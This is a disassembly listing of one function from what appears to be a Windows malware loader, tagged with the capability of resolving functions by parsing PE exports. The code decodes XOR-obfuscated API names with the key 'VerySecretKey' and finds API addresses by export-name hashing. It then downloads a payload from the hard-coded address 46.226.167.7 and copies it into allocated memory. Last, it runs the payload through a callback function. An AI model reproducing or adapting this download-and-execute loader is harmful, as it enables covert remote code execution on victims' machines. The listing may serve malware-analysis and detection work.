Function at 0x100031e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10029610
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x11a8
call fcn.1000d170
mov eax, dword [0x10036080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x1038]
mov dword [ebp - 0x10a0], 0
push ecx
lea eax, [ebp - 0x1029]
mov dword [ebp - 0x1038], 0x151e0415
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1034], 0x160d0c04
push ecx
lea ecx, [ebp - 0x10a8]
movq qword [ebp - 0x10a8], xmm0
mov dword [ebp - 0x1030], 0x171b030a
mov word [ebp - 0x102c], 0x3516
mov byte [ebp - 0x102a], 0x32
call fcn.10004650
lea ecx, [ebp - 0x1024]
mov dword [ebp - 0x1030], 0
push ecx
lea eax, [ebp - 0x101a]
mov dword [ebp - 0x1024], 0xb171623
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0x164d5760
push ecx
lea ecx, [ebp - 0x1038]
movq qword [ebp - 0x1038], xmm0
mov word [ebp - 0x101c], 0x1809
call fcn.10004650
lea ecx, [ebp - 0x1024]
mov dword [ebp - 0x1094], 0
push ecx
lea eax, [ebp - 0x101a]
mov dword [ebp - 0x1024], 0x141e1723
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0x164d0b3c
push ecx
lea ecx, [ebp - 0x109c]
movq qword [ebp - 0x109c], xmm0
mov word [ebp - 0x101c], 0x1809
call fcn.10004650
lea ecx, [ebp - 0x1050]
mov dword [ebp - 0x1088], 0
push ecx
lea eax, [ebp - 0x103a]
mov dword [ebp - 0x1050], 0x363e3703
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x104c], 0x300d0023
push ecx
lea ecx, [ebp - 0x1090]
movq qword [ebp - 0x1090], xmm0
mov dword [ebp - 0x1048], 0xe281b09
mov dword [ebp - 0x1044], 0x21023810
mov dword [ebp - 0x1040], 0x200210d
mov word [ebp - 0x103c], 0x321f
call fcn.10004650
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1040], 0
push ecx
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x1028], 0x1700003d
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1024], 0x40500936
push ecx
lea ecx, [ebp - 0x1048]
movq qword [ebp - 0x1048], xmm0
mov dword [ebp - 0x1020], 0x927104b
call fcn.10004650
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x107c], 0
push ecx
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x1028], 0xd000c00
xorps xmm0, xmm0
mov dword [ebp - 0x1024], 0x330f0426
push eax
movq qword [ebp - 0x1084], xmm0
mov dword [ebp - 0x1020], 0x6241809
push ecx
lea ecx, [ebp - 0x1084]
call fcn.10004650
lea ecx, [ebp - 0x1024]
mov dword [ebp - 0x1070], 0
push ecx
lea eax, [ebp - 0x101b]
mov dword [ebp - 0x1024], 0x4a170939
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0x1e074b61
push ecx
lea ecx, [ebp - 0x1078]
movq qword [ebp - 0x1078], xmm0
mov byte [ebp - 0x101c], 9
call fcn.10004650
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1064], 0
push ecx
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x1028], 0x173b0a15
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1024], 0x130a113a
push ecx
lea ecx, [ebp - 0x106c]
movq qword [ebp - 0x106c], xmm0
mov dword [ebp - 0x1020], 0x311d09
call fcn.10004650
lea ecx, [ebp - 0x1028]
mov dword [ebp - 0x1058], 0
push ecx
lea eax, [ebp - 0x101a]
mov dword [ebp - 0x1028], 0x17270a15
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1024], 0x60a0b3a
push ecx
lea ecx, [ebp - 0x1060]
movq qword [ebp - 0x1060], xmm0
mov dword [ebp - 0x1020], 0xc27150c
mov word [ebp - 0x101c], 0x3303
call fcn.10004650
push 0xd
xorps xmm0, xmm0
mov dword [ebp - 0x10b0], 0
push str.VerySecretKey
lea ecx, [ebp - 0x10c0]
mov dword [ebp - 0x10ac], 0
movups xmmword [ebp - 0x10c0], xmm0
call fcn.10008910
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x10a8]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1198]
push dword [ebp - 0x10a4]
push dword [ebp - 0x10a8]
call fcn.100080e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x1038]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1108]
push dword [ebp - 0x1034]
push dword [ebp - 0x1038]
call fcn.100081e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x109c]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x10f0]
push dword [ebp - 0x1098]
push dword [ebp - 0x109c]
call fcn.100081e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x1090]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1180]
push dword [ebp - 0x108c]
push dword [ebp - 0x1090]
call fcn.100080e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x1048]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1120]
push dword [ebp - 0x1044]
push dword [ebp - 0x1048]
call fcn.100081e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x1084]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1168]
push dword [ebp - 0x1080]
push dword [ebp - 0x1084]
call fcn.100080e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x1078]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x10d8]
push dword [ebp - 0x1074]
push dword [ebp - 0x1078]
call fcn.100081e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x106c]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1150]
push dword [ebp - 0x1068]
push dword [ebp - 0x106c]
call fcn.100080e0
sub esp, 0x18
lea eax, [ebp - 0x10c0]
mov ecx, esp
push eax
call fcn.100059d0
lea ecx, [ebp - 0x1060]
call fcn.10002fb0
add esp, 0x14
lea ecx, [ebp - 0x1138]
push dword [ebp - 0x105c]
push dword [ebp - 0x1060]
call fcn.100080e0
cmp dword [ebp - 0x10f4], 7
lea eax, [ebp - 0x1108]
cmova eax, dword [ebp - 0x1108]
push eax
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call esi
cmp dword [ebp - 0x10dc], 7
lea eax, [ebp - 0x10f0]
cmova eax, dword [ebp - 0x10f0]
push eax
call esi
cmp dword [ebp - 0x10c4], 7
lea eax, [ebp - 0x10d8]
cmova eax, dword [ebp - 0x10d8]
push eax
call esi
cmp dword [ebp - 0x10f4], 7
lea eax, [ebp - 0x1108]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmova eax, dword [ebp - 0x1108]
push eax
call esi
cmp dword [ebp - 0x10dc], 7
lea ecx, [ebp - 0x10f0]
mov dword [ebp - 0x11a8], eax
cmova ecx, dword [ebp - 0x10f0]
push ecx
call esi
cmp dword [ebp - 0x110c], 7
lea ecx, [ebp - 0x1120]
mov dword [ebp - 0x11a4], eax
cmova ecx, dword [ebp - 0x1120]
push ecx
call esi
cmp dword [ebp - 0x10c4], 7
lea ecx, [ebp - 0x10d8]
mov dword [ebp - 0x11ac], eax
cmova ecx, dword [ebp - 0x10d8]
push ecx
call esi
mov dword [ebp - 0x119c], eax
xor edi, edi
mov eax, dword [ebp - 0x11ac]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add ecx, eax
mov edx, dword [ecx + 0x1c]
mov esi, dword [ecx + 0x20]
add edx, eax
mov dword [ebp - 0x11b0], edx
add esi, eax
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x18]
add edx, eax
mov dword [ebp - 0x11a0], esi
mov dword [ebp - 0x11b8], edx
mov dword [ebp - 0x11b4], ecx
test ecx, ecx
je 0x10003890
nop word [eax + eax]
mov edx, dword [esi + edi*4]
mov ecx, 0xb19
movsx esi, byte [edx + eax]
add edx, eax
test esi, esi
je 0x10003881
mov eax, ecx
lea edx, [edx + 1]
shl ecx, 5
add ecx, esi
movsx esi, byte [edx]
add ecx, eax
test esi, esi
jne 0x10003842
cmp ecx, 0xb539c3ab
jne 0x1000387b
mov eax, dword [ebp - 0x11b8]
mov ecx, dword [ebp - 0x11b0]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x11ac]
mov dword [0x10037fdc], eax
mov eax, dword [ebp - 0x11ac]
mov esi, dword [ebp - 0x11a0]
inc edi
cmp edi, dword [ebp - 0x11b4]
jb 0x10003830
mov ecx, str.VA_imported.txt
call fcn.10002d90
mov ecx, dword [ebp - 0x11a4]
xor edi, edi
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x1c]
mov esi, dword [eax + 0x20]
add edx, ecx
mov dword [ebp - 0x11b4], edx
add esi, ecx
mov edx, dword [eax + 0x24]
add edx, ecx
mov dword [ebp - 0x11b0], esi
mov dword [ebp - 0x11a0], edx
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x11ac], edx
test edx, edx
je 0x1000394e
mov eax, edx
nop dword [eax + eax]
mov edx, dword [esi + edi*4]
movsx esi, byte [edx + ecx]
add edx, ecx
mov ecx, 0xb19
test esi, esi
je 0x1000392f
mov eax, ecx
lea edx, [edx + 1]
shl ecx, 5
add ecx, esi
movsx esi, byte [edx]
add ecx, eax
test esi, esi
jne 0x100038f2
cmp ecx, 0x69cdea0a
jne 0x10003937
mov eax, dword [ebp - 0x11a0]
mov ecx, dword [ebp - 0x11b4]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0x11a4]
add eax, ecx
mov dword [0x10037fe0], eax
jmp 0x1000393d
mov ecx, dword [ebp - 0x11a4]
jmp 0x10003943
mov ecx, dword [ebp - 0x11a4]
mov eax, dword [ebp - 0x11ac]
mov esi, dword [ebp - 0x11b0]
inc edi
cmp edi, eax
jb 0x100038e0
mov ecx, str.UOBS_imported.txt
call fcn.10002d90
mov ecx, dword [ebp - 0x11a8]
xor edi, edi
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x1c]
mov esi, dword [eax + 0x20]
add edx, ecx
mov dword [ebp - 0x11b4], edx
add esi, ecx
mov edx, dword [eax + 0x24]
add edx, ecx
mov dword [ebp - 0x11b0], esi
mov dword [ebp - 0x11a0], edx
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x11a4], edx
test edx, edx
je 0x10003a0e
mov eax, edx
nop dword [eax]
mov edx, dword [esi + edi*4]
movsx esi, byte [edx + ecx]
add edx, ecx
mov ecx, 0xb19
test esi, esi
je 0x100039ef
mov eax, ecx
lea edx, [edx + 1]
shl ecx, 5
add ecx, esi
movsx esi, byte [edx]
add ecx, eax
test esi, esi
jne 0x100039b2
cmp ecx, 0x99a17618
jne 0x100039f7
mov eax, dword [ebp - 0x11a0]
mov ecx, dword [ebp - 0x11b4]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0x11a8]
add eax, ecx
mov dword [0x10037fe4], eax
jmp 0x100039fd
mov ecx, dword [ebp - 0x11a8]
jmp 0x10003a03
mov ecx, dword [ebp - 0x11a8]
mov eax, dword [ebp - 0x11a4]
mov esi, dword [ebp - 0x11b0]
inc edi
cmp edi, eax
jb 0x100039a0
mov ecx, str.CWP_imported.txt
call fcn.10002d90
mov ecx, dword [ebp - 0x119c]
xor edi, edi
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
add eax, ecx
mov edx, dword [eax + 0x1c]
mov esi, dword [eax + 0x20]
add edx, ecx
mov dword [ebp - 0x11b4], edx
add esi, ecx
mov edx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
add edx, ecx
mov dword [ebp - 0x11b8], esi
mov dword [ebp - 0x11a0], edx
mov dword [ebp - 0x11b0], eax
test eax, eax
je 0x10003ac3
nop word [eax + eax]
mov edx, dword [esi + edi*4]
mov eax, 0xb19
movsx esi, byte [edx + ecx]
add edx, ecx
test esi, esi
je 0x10003ab4
mov ecx, eax
lea edx, [edx + 1]
shl eax, 5
add eax, esi
movsx esi, byte [edx]
add eax, ecx
test esi, esi
jne 0x10003a72
cmp eax, 0x717a435d
jne 0x10003aae
mov eax, dword [ebp - 0x11a0]
mov ecx, dword [ebp - 0x11b4]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0x119c]
add eax, ecx
mov dword [0x10037fd8], eax
jmp 0x10003ab4
mov ecx, dword [ebp - 0x119c]
mov esi, dword [ebp - 0x11b8]
inc edi
cmp edi, dword [ebp - 0x11b0]
jb 0x10003a60
mov ecx, str.CoInit_imported.txt
call fcn.10002d90
push 0
call dword [0x10037fd8]
mov esi, eax
mov dword [ebp - 0x1054], 0
xor eax, eax
xor edi, edi
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x1020], eax
mov eax, 1
mov dword [ebp - 0x1024], edi
mov dword [ebp - 0x11a4], eax
push eax
push ecx
mov edx, str.Trying_to_download._Attempt:
mov ecx, 0x10037348
call fcn.100082f0
add esp, 4
mov ecx, eax
call fcn.10004460
mov edx, 0x10031f68
mov ecx, eax
call fcn.100082f0
push 0
push 0
lea eax, [ebp - 0x1054]
push eax
push str.http:__46.226.167.7:80_api_file_get_file_aa
push 0
call dword [0x10037fe0]
mov dword [ebp - 0x11a0], eax
test eax, eax
jns 0x10003bb0
mov edx, str.ERROR:_Could_not_connect._HRESULT:_0x
mov ecx, 0x10037348
call fcn.100082f0
push dword [ebp - 0x11a0]
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx + eax + 0x14], ecx
mov ecx, eax
call fcn.100042c0
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff3ff
or ecx, 0x200
mov dword [edx + eax + 0x14], ecx
mov edx, 0x10031f68
mov ecx, eax
call fcn.100082f0
jmp 0x10003d10
mov eax, dword [ebp - 0x1054]
lea edx, [ebp - 0x119c]
push edx
push 0x1000
mov dword [ebp - 0x119c], 0
lea edx, [ebp - 0x1018]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov ecx, dword [ebp - 0x119c]
mov dword [ebp - 0x11a8], eax
test ecx, ecx
je 0x10003c0d
lea eax, [ebp - 0x1018]
add ecx, eax
sub ecx, eax
push ecx
push eax
push edi
lea ecx, [ebp - 0x1028]
call fcn.10009c60
mov edi, dword [ebp - 0x1024]
mov eax, dword [ebp - 0x11a8]
test eax, eax
js 0x10003c9f
cmp eax, 1
jne 0x10003bb0
mov ecx, str.File_downloaded.txt
call fcn.10002d90
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1028]
sub edi, eax
push 4
push 0x1000
push edi
push 0
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], edi
call dword [0x10037fdc]
push dword [ebp - 0x11a4]
mov edi, eax
mov eax, dword [ebp - 0x11a8]
push eax
push edi
call fcn.1000d7a0
add esp, 0xc
mov ecx, str.Copied_to_writeablememory.txt
call fcn.10002d90
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, str.Starting_callback.txt
call fcn.10002d90
push 0
push 0
push dword [ebp - 0x11a4]
push edi
push 0x10003030
call dword [0x10037fe4]
jmp 0x10003d42
mov edx, str.ERROR:_Download_failed._HRESULT:_0x
mov ecx, 0x10037348
call fcn.100082f0
push dword [ebp - 0x11a8]
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx + eax + 0x14], ecx
mov ecx, eax
call fcn.100042c0
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff3ff
or ecx, 0x200
mov dword [edx + eax + 0x14], ecx
mov edx, 0x10031f68
mov ecx, eax
call fcn.100082f0
mov eax, dword [ebp - 0x1028]
cmp eax, edi
mov dword [ebp - 0x11a8], eax
cmovne edi, eax
mov dword [ebp - 0x1024], edi
mov eax, dword [ebp - 0x11a4]
inc eax
mov dword [ebp - 0x11a4], eax
cmp eax, 0xa
jle 0x10003b08
mov ecx, str.File_downloaded.txt
call fcn.10002d90
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, str.File_is_not_downloaded
call fcn.10002d90
call fcn.10012e94
mov ecx, dword [ebp - 0x11a8]
test ecx, ecx
je 0x10003d81
mov edx, dword [ebp - 0x1020]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10003d77
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push edx
push ecx
call fcn.1000c5a0
add esp, 8
mov eax, dword [ebp - 0x1054]
test eax, eax
je 0x10003d91
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 4], 0
test esi, esi
js 0x10003da4
push 0
call dword [0x10037fd8]
mov ecx, dword [ebp - 0x1124]
cmp ecx, 0xf
jbe 0x10003dde
mov edx, dword [ebp - 0x1138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003dd4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x113c]
cmp ecx, 0xf
jbe 0x10003e18
mov edx, dword [ebp - 0x1150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003e0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x10c4]
cmp ecx, 7
jbe 0x10003e58
mov edx, dword [ebp - 0x10d8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003e4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x1154]
xor eax, eax
mov dword [ebp - 0x10c8], 0
mov dword [ebp - 0x10c4], 7
mov word [ebp - 0x10d8], ax
cmp ecx, 0xf
jbe 0x10003eaf
mov edx, dword [ebp - 0x1168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003ea5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x110c]
cmp ecx, 7
jbe 0x10003eef
mov edx, dword [ebp - 0x1120]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003ee5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x116c]
xor eax, eax
mov dword [ebp - 0x1110], 0
mov dword [ebp - 0x110c], 7
mov word [ebp - 0x1120], ax
cmp ecx, 0xf
jbe 0x10003f46
mov edx, dword [ebp - 0x1180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003f3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x10dc]
cmp ecx, 7
jbe 0x10003f86
mov edx, dword [ebp - 0x10f0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003f7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x10f4]
xor eax, eax
mov dword [ebp - 0x10e0], 0
mov dword [ebp - 0x10dc], 7
mov word [ebp - 0x10f0], ax
cmp ecx, 7
jbe 0x10003fe3
mov edx, dword [ebp - 0x1108]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003fd9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x1184]
xor eax, eax
mov dword [ebp - 0x10f8], 0
mov dword [ebp - 0x10f4], 7
mov word [ebp - 0x1108], ax
cmp ecx, 0xf
jbe 0x1000403a
mov edx, dword [ebp - 0x1198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004030
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov ecx, dword [ebp - 0x10ac]
cmp ecx, 0xf
jbe 0x10004074
mov edx, dword [ebp - 0x10c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000406a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x1060]
test edx, edx
je 0x100040ae
mov ecx, dword [ebp - 0x1058]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x100040a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x106c]
test edx, edx
je 0x100040e8
mov ecx, dword [ebp - 0x1064]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x100040de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x1078]
test edx, edx
je 0x10004122
mov ecx, dword [ebp - 0x1070]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10004118
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x1084]
test edx, edx
je 0x1000415c
mov ecx, dword [ebp - 0x107c]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10004152
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x1048]
test edx, edx
je 0x10004196
mov ecx, dword [ebp - 0x1040]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x1000418c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x1090]
test edx, edx
je 0x100041d0
mov ecx, dword [ebp - 0x1088]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x100041c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x109c]
test edx, edx
je 0x1000420a
mov ecx, dword [ebp - 0x1094]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10004200
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x1038]
test edx, edx
je 0x10004240
mov ecx, dword [ebp - 0x1030]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10004236
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
mov edx, dword [ebp - 0x10a8]
test edx, edx
je 0x10004276
mov ecx, dword [ebp - 0x10a0]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x1000426c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004296
push ecx
push edx
call fcn.1000c5a0
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000c255
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.10012ca0
int3